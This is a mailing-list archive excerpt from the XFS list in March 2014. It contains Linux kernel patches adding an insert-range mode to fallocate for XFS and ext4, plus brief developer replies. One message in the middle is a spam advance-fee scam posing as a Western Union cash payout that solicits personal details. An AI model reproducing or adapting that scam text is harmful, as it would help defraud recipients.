+} + +/* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with * attr1 because of the fixed fork offset, but attr2 has a dynamically sized diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 935ed2b..d62ab4b 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -101,6 +101,8 @@ int xfs_zero_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); int xfs_collapse_file_space(struct xfs_inode *, xfs_off_t offset, xfs_off_t len); +int xfs_insert_file_space(struct xfs_inode *, xfs_off_t offset, + xfs_off_t len); /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 003c005..6603b36 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -824,7 +824,8 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | - FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE)) + FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE | + FALLOC_FL_INSERT_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -846,6 +847,20 @@ xfs_file_fallocate( error = xfs_collapse_file_space(ip, offset, len); if (error) goto out_unlock; + } else if (mode & FALLOC_FL_INSERT_RANGE) { + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + if (offset & blksize_mask || len & blksize_mask) { + error = -EINVAL; + goto out_unlock; + } + + ASSERT(offset < i_size_read(inode)); + new_size = i_size_read(inode) + len; + + error = xfs_insert_file_space(ip, offset, len); + if (error) + goto out_unlock; } else { if (!(mode & FALLOC_FL_KEEP_SIZE) && offset + len > i_size_read(inode)) { diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index a4ae41c..c870288 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -604,6 +604,7 @@ DEFINE_INODE_EVENT(xfs_inactive_symlink); DEFINE_INODE_EVENT(xfs_alloc_file_space); DEFINE_INODE_EVENT(xfs_free_file_space); DEFINE_INODE_EVENT(xfs_collapse_file_space); +DEFINE_INODE_EVENT(xfs_insert_file_space); DEFINE_INODE_EVENT(xfs_readdir); #ifdef CONFIG_XFS_POSIX_ACL DEFINE_INODE_EVENT(xfs_get_acl); -- 1.7.11-rc0 From linkinjeon@gmail.com Mon Mar 31 09:54:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3129F29E1D for ; Mon, 31 Mar 2014 09:54:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8A752AC001 for ; Mon, 31 Mar 2014 07:54:53 -0700 (PDT) X-ASG-Debug-ID: 1396277691-04cb6c5678b67930001-NocioJ Received: from mail-pb0-f43.google.com (mail-pb0-f43.google.com [209.85.160.43]) by cuda.sgi.com with ESMTP id aH2S18NG4LmRX51H (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 31 Mar 2014 07:54:51 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.43 Received: by mail-pb0-f43.google.com with SMTP id um1so8295362pbc.16 for ; Mon, 31 Mar 2014 07:54:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=gqxzFLySktTk0OPvHllOoK7Ae/0V8q+6IM2BKT8VRO4=; b=eFFYk+1VI0N62F6QnV6kEKXc2+5v5Kw+4QYxWuI5OX+p/RhiU+3fUT/a6Mtgw2b2mB VP/a6BEI+Icx+UGAD/GZfAX/QSGiPLLyr61rD5zEyCx5X7VyJ/KI3DU/rIsBYq3vCJNj czfYHM+Wt4GKSpnNz8KBnbMexe90zimR+IurbAWPMrnZi2zJTIWepOwZqfODX0rMzaXu 4PVZT3H9zhp5lqQ9wTYNQfOeffs2Df1m5uikSXHnYbJr8yldmd+Wb7s6jipfgPPKsAX/ V6OKq8GfnAvamIfAt5YN1rtHJXP+7u8HBHudSGG8RPcSbtzbf3oW6eENyykx2uwrOjVP 5WyA== X-Barracuda-BBL-IP: nil X-Received: by 10.66.20.10 with SMTP id j10mr25814552pae.11.1396277690967; Mon, 31 Mar 2014 07:54:50 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.244]) by mx.google.com with ESMTPSA id sy2sm43863162pbc.28.2014.03.31.07.54.47 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 31 Mar 2014 07:54:50 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.244 To: viro@zeniv.linux.org.uk, david@fromorbit.com, hch@infradead.org, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH 3/3] ext4: Add support FALLOC_FL_INSERT_RANGE for fallocate Date: Mon, 31 Mar 2014 23:54:42 +0900 X-ASG-Orig-Subj: [PATCH 3/3] ext4: Add support FALLOC_FL_INSERT_RANGE for fallocate Message-Id: <1396277682-10895-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pb0-f43.google.com[209.85.160.43] X-Barracuda-Start-Time: 1396277691 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4457 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch implements fallocate's FALLOC_FL_INSERT_RANGE for Ext4. 1) Make sure that both offset and len are block size aligned. 2) Compute the file's logical block number against offset. If the computed block number is not the starting block of the extent, split the extent such that the block number is the starting block of the extent. 3) Shift all the extents which are lying bewteen [offset, last allocated extent] towards right by len bytes. This step will make a hole of len bytes at offset. 4) Allocate unwritten extents for the hole created in step 3. 5) Update the i_size of inode by len bytes. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 1 + fs/ext4/extents.c | 312 +++++++++++++++++++++++++++++++++++++++++-- include/trace/events/ext4.h | 25 ++++ 3 files changed, 329 insertions(+), 9 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index f4f889e..acb8bab 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2762,6 +2762,7 @@ extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); +extern int ext4_insert_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 243a02e..8e3ba84 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4867,7 +4867,8 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) /* Return error if mode is not supported */ if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | - FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE)) + FALLOC_FL_COLLAPSE_RANGE | FALLOC_FL_ZERO_RANGE | + FALLOC_FL_INSERT_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) @@ -4876,6 +4877,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) if (mode & FALLOC_FL_COLLAPSE_RANGE) return ext4_collapse_range(inode, offset, len); + if (mode & FALLOC_FL_INSERT_RANGE) + return ext4_insert_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -5189,13 +5193,13 @@ ext4_access_path(handle_t *handle, struct inode *inode, } /* - * ext4_ext_shift_path_extents: + * ext4_ext_shift_path_extents_left: * Shift the extents of a path structure lying between path[depth].p_ext - * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * and EXT_LAST_EXTENT(path[depth].p_hdr) to the left, by subtracting shift * from starting block for each extent. */ static int -ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, +ext4_ext_shift_path_extents_left(struct ext4_ext_path *path, ext4_lblk_t shift, struct inode *inode, handle_t *handle, ext4_lblk_t *start) { @@ -5264,13 +5268,13 @@ out: } /* - * ext4_ext_shift_extents: + * ext4_ext_shift_extents_left: * All the extents which lies in the range from start to the last allocated - * block for the file are shifted downwards by shift blocks. + * block for the file are shifted to the left by shift blocks. * On success, 0 is returned, error otherwise. */ static int -ext4_ext_shift_extents(struct inode *inode, handle_t *handle, +ext4_ext_shift_extents_left(struct inode *inode, handle_t *handle, ext4_lblk_t start, ext4_lblk_t shift) { struct ext4_ext_path *path; @@ -5335,7 +5339,7 @@ ext4_ext_shift_extents(struct inode *inode, handle_t *handle, break; } } - ret = ext4_ext_shift_path_extents(path, shift, inode, + ret = ext4_ext_shift_path_extents_left(path, shift, inode, handle, &start); ext4_ext_drop_refs(path); kfree(path); @@ -5429,7 +5433,7 @@ int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) goto out_stop; } - ret = ext4_ext_shift_extents(inode, handle, punch_stop, + ret = ext4_ext_shift_extents_left(inode, handle, punch_stop, punch_stop - punch_start); if (ret) { up_write(&EXT4_I(inode)->i_data_sem); @@ -5455,3 +5459,293 @@ out_mutex: mutex_unlock(&inode->i_mutex); return ret; } + +/* + * ext4_ext_shift_path_extents_right: + * Shift the extents of a path structure towards right, by adding shift_lblk + * to the starting ee_block of each extent. Shifting is done from + * the last extent in the path till we reach first extent OR hit start_lblk. + * In case the first extent in the path is updated, update extent index will be + * updated if it is present. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_path_extents_right(struct ext4_ext_path *path, + struct inode *inode, handle_t *handle, + ext4_lblk_t start_lblk, ext4_lblk_t shift_lblk) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + + depth = ext_depth(inode); + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = EXT_FIRST_EXTENT(path[depth].p_hdr); + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + while ((ex_start <= ex_last) && + (ex_last->ee_block >= start_lblk)) { + ex_last->ee_block += shift_lblk; + ext4_ext_try_to_merge_right(inode, path, + ex_last); + ex_last--; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || ex_start <= ex_last) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + path[depth].p_idx->ei_block += shift_lblk; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents_right: + * All the extents of an inode which lies in the range from start_lblk + * to the last allocated block are shifted right by @shift_lblk blocks. + * As we will be shifitng complete extents, @start_lblk should be the + * starting block of an extent OR it can lie in a hole. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents_right(struct inode *inode, handle_t *handle, + ext4_lblk_t start_lblk, ext4_lblk_t shift_lblk) +{ + struct ext4_ext_path *path; + struct ext4_extent *ex_start; + int ret = 0, depth; + ext4_lblk_t current_block = EXT_MAX_BLOCKS - 1; + + /* Its safe to start updating extents */ + while (start_lblk < current_block) { + path = ext4_ext_find_extent(inode, current_block, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = ext_depth(inode); + if (unlikely(path[depth].p_hdr == NULL)) { + ret = -EIO; + goto out_stop; + } + + ex_start = EXT_FIRST_EXTENT(path[depth].p_hdr); + if (!ex_start) { + ret = -EIO; + goto out_stop; + } + + current_block = ex_start->ee_block; + ret = ext4_ext_shift_path_extents_right(path, inode, handle, + start_lblk, shift_lblk); +out_stop: + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_insert_range: + * This function implements the FALLOC_FL_INSERT_RANGE flag of fallocate. + * Firstly, the data blocks starting from @offset to the EOF are shifted by + * @len towards right to create a hole in the @inode. Secondly, the hole is + * filled with uninit extent(s). Inode size is increased by len bytes. + * Returns 0 on success, error otherwise. + */ +int ext4_insert_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + handle_t *handle; + struct ext4_map_blocks map; + struct ext4_ext_path *path; + struct ext4_extent *extent; + ext4_lblk_t offset_lblk, len_lblk, ee_start_lblk, ee_last_lblk; + unsigned int credits, ee_len; + int ret = 0, depth, split_flag = 0; + + BUG_ON(offset > i_size_read(inode)); + + /* Insert range works only on fs block size aligned offsets. */ + if (offset & (EXT4_BLOCK_SIZE(sb) - 1) || + len & (EXT4_BLOCK_SIZE(sb) - 1)) + return -EINVAL; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + trace_ext4_insert_range(inode, offset, len); + + offset_lblk = offset >> EXT4_BLOCK_SIZE_BITS(sb); + len_lblk = len >> EXT4_BLOCK_SIZE_BITS(sb); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, offset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* It's not possible punch hole on append only file */ + if (IS_APPEND(inode) || IS_IMMUTABLE(inode)) { + ret = -EPERM; + goto out_mutex; + } + + if (IS_SWAPFILE(inode)) { + ret = -ETXTBSY; + goto out_mutex; + } + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) { + ret = -EOPNOTSUPP; + goto out_mutex; + } + + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = ext_depth(inode); + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + ee_last_lblk = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* + * Check if number of blocks of file shifted by insert range can be + * bigger than EXT_MAX_BLOCKS at first. + */ + if (ee_last_lblk + len_lblk > EXT_MAX_BLOCKS - 1) { + mutex_unlock(&inode->i_mutex); + return -EINVAL; + } + + truncate_pagecache_range(inode, offset, -1); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + ext4_discard_preallocations(inode); + + path = ext4_ext_find_extent(inode, offset_lblk, NULL, 0); + if (IS_ERR(path)) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + depth = ext_depth(inode); + extent = path[depth].p_ext; + ee_start_lblk = le32_to_cpu(extent->ee_block); + ee_len = ext4_ext_get_actual_len(extent); + + /* + * If offset_lblk is not the starting block of extent, split + * the extent @offset_lblk + */ + if (offset_lblk > ee_start_lblk && + offset_lblk < (ee_start_lblk + ee_len)) { + if (ext4_ext_is_uninitialized(extent)) + split_flag = EXT4_EXT_MARK_UNINIT1 | + EXT4_EXT_MARK_UNINIT2; + + ret = ext4_split_extent_at(handle, inode, path, + offset_lblk, split_flag, EXT4_EX_NOCACHE | + EXT4_GET_BLOCKS_PRE_IO | + EXT4_GET_BLOCKS_METADATA_NOFAIL); + } + ext4_ext_drop_refs(path); + kfree(path); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + ret = ext4_ext_shift_extents_right(inode, handle, offset_lblk, + len_lblk); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + map.m_lblk = offset_lblk; + map.m_len = len_lblk; + + ret = ext4_ext_map_blocks(handle, inode, &map, + EXT4_GET_BLOCKS_CREATE_UNINIT_EXT | EXT4_GET_BLOCKS_NO_LOCK); + if (unlikely(ret != map.m_len)) { + ret = -EIO; + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + ret = ext4_es_insert_extent(inode, map.m_lblk, map.m_len, map.m_pblk, + EXTENT_STATUS_UNWRITTEN); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + truncate_setsize(inode, inode->i_size + len); + EXT4_I(inode)->i_disksize += len; + + ext4_discard_preallocations(inode); + up_write(&EXT4_I(inode)->i_data_sem); + if (IS_SYNC(inode)) + ext4_handle_sync(handle); + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +out_stop: + ext4_journal_stop(handle); +out_dio: + ext4_inode_resume_unlocked_dio(inode); +out_mutex: + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 010ea89..435e976 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2448,6 +2448,31 @@ TRACE_EVENT(ext4_collapse_range, __entry->offset, __entry->len) ); +TRACE_EVENT(ext4_insert_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From BATV+c8f7c83a72165b2d6f85+3872+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 31 09:56:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4C9DC29E0D for ; Mon, 31 Mar 2014 09:56:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C249304064 for ; Mon, 31 Mar 2014 07:56:48 -0700 (PDT) X-ASG-Debug-ID: 1396277803-04cbb054b997cc80001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id vUP8uPKUn21CbUSj (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 31 Mar 2014 07:56:44 -0700 (PDT) X-Barracuda-Envelope-From: BATV+c8f7c83a72165b2d6f85+3872+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WUddR-0002pa-A1; Mon, 31 Mar 2014 14:56:25 +0000 Date: Mon, 31 Mar 2014 07:56:25 -0700 From: Christoph Hellwig To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, david@fromorbit.com, hch@infradead.org, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH 0/3] fs: Introduce FALLOC_FL_INSERT_RANGE for fallocate Message-ID: <20140331145625.GA10791@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 0/3] fs: Introduce FALLOC_FL_INSERT_RANGE for fallocate References: <1396277611-10759-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1396277611-10759-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1396277804 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Mon, Mar 31, 2014 at 11:53:31PM +0900, Namjae Jeon wrote: > This flag will work opposite to the newly added FALLOC_FL_COLLAPSE_RANGE flag. > As such, specifying FALLOC_FL_INSERT_RANGE flag will insert zeroed-out space > in between the file within the range specified by offset and len. User can > write new data in this space. e.g. ads. > Like collapse range, currently we have the limitation that offset and len > should be block size aligned for both XFS and Ext4. Btw, I remember Samsung also had an ioctl for XFS to split a file into two without moving the data, do you plan to submit that one as well? From info@irc.cnr.it Mon Mar 31 11:34:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.0 required=5.0 tests=LOTTO_AGENT,SUBJ_ALL_CAPS, T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2C12C7F59 for ; Mon, 31 Mar 2014 11:34:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0E524304051 for ; Mon, 31 Mar 2014 09:34:01 -0700 (PDT) X-ASG-Debug-ID: 1396283578-04bdf05dacb94fa0001-NocioJ Received: from ircserver1.irc.cnr.it ([140.164.9.162]) by cuda.sgi.com with ESMTP id Om8rqJFmuRtDYcAv; Mon, 31 Mar 2014 09:33:28 -0700 (PDT) X-Barracuda-Envelope-From: info@irc.cnr.it X-Barracuda-Apparent-Source-IP: 140.164.9.162 Received: by ircserver1.irc.cnr.it (Postfix, from userid 48) id 2972E1E0031; Mon, 31 Mar 2014 18:30:17 +0200 (CEST) Received: from 41.71.174.222 (SquirrelMail authenticated user lisi) by ircserver1.irc.cnr.it with HTTP; Mon, 31 Mar 2014 18:30:16 +0200 Message-ID: Date: Mon, 31 Mar 2014 18:30:16 +0200 Subject: YOUR REF: UKATM/9229‏ From: "Financial Service Inc" X-ASG-Orig-Subj: YOUR REF: UKATM/9229‏ Reply-To: undeptout@outlook.com User-Agent: SquirrelMail/1.4.22-3.el6 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal To: undisclosed-recipients:; X-Barracuda-Connect: UNKNOWN[140.164.9.162] X-Barracuda-Start-Time: 1396283608 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.23 X-Barracuda-Spam-Status: No, SCORE=2.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, RDNS_NONE, SUBJ_ALL_CAPS, SUBJ_ALL_CAPS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4460 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 SUBJ_ALL_CAPS Subject is all capitals 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC0_SA620a Custom Rule SA620a 1.62 SUBJ_ALL_CAPS_2 SUBJ_ALL_CAPS_2 OUR REF: UK/WUMT/INH/TRAN-9229 YOUR REF: UKATM/9229 Dear User, We are delighted to re-notify you of the CASH (in US Currency) which was registered in your NAME as the receiver and has been available for Pickup for the past (7) days. You are advised to expeditiously contact our email below with your Legitimate Name and Cell Phone Number, so we can provide you with your Money Transfer Control Numbers (MTCN). Contact us on email Urgently! Western Union Financial Service Inc. (FOREIGN PAYOUT MANAGER) Email us on: undeptout@outlook.com Call us on: (intl. +447087621353) We have sent you two emails containing the information for pick up, since last weeks but we did not get any reply from you, hence we are sending you this FINAL NOTIFICATION. Act fast as we now remind you that your payment has been approved. We await your prompt response. Sincerely Yours, >From the Head of Publicity & Admin Controller, WUMT UK Financial Service Inc. From tinguely@sgi.com Mon Mar 31 11:42:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D51F67F73 for ; Mon, 31 Mar 2014 11:42:49 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A97D8F8033; Mon, 31 Mar 2014 09:42:46 -0700 (PDT) Message-ID: <53399B06.5010400@sgi.com> Date: Mon, 31 Mar 2014 11:42:46 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: XFS Mailing List Subject: Re: [PATCH] xfs: fix bad hash ordering References: <20140328173430.622616177@sgi.com> <20140331001055.GD16336@dastard> In-Reply-To: <20140331001055.GD16336@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/30/14 19:10, Dave Chinner wrote: > On Fri, Mar 28, 2014 at 12:33:34PM -0500, Mark Tinguely wrote: >> Fix the fix directory "bad hash ordering" bug introduced in >> commit f5ea1100. > ... > >> --- >> A C program that generates this problem can be found at: >> http://oss.sgi.com/archives/xfs/2014-03/msg00373.html >> >> A xfstest for this bug is coming from Hannes Frederic Sowa. > > Can you convert this program to an xfstest yourself so that I can > commit the regression test at the same time I commit an updated > fix? We narrowed the iterations down to make it a quick test. I have every confidence that Hannes can generate the test in a timely manner and I will help in any way possible. --Mark. From bfoster@redhat.com Mon Mar 31 12:22:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B07997F3F for ; Mon, 31 Mar 2014 12:22:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3723AAC002 for ; Mon, 31 Mar 2014 10:22:51 -0700 (PDT) X-ASG-Debug-ID: 1396286567-04cb6c5678b714d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EiKNqSVS9S5RM1L0 for ; Mon, 31 Mar 2014 10:22:47 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com 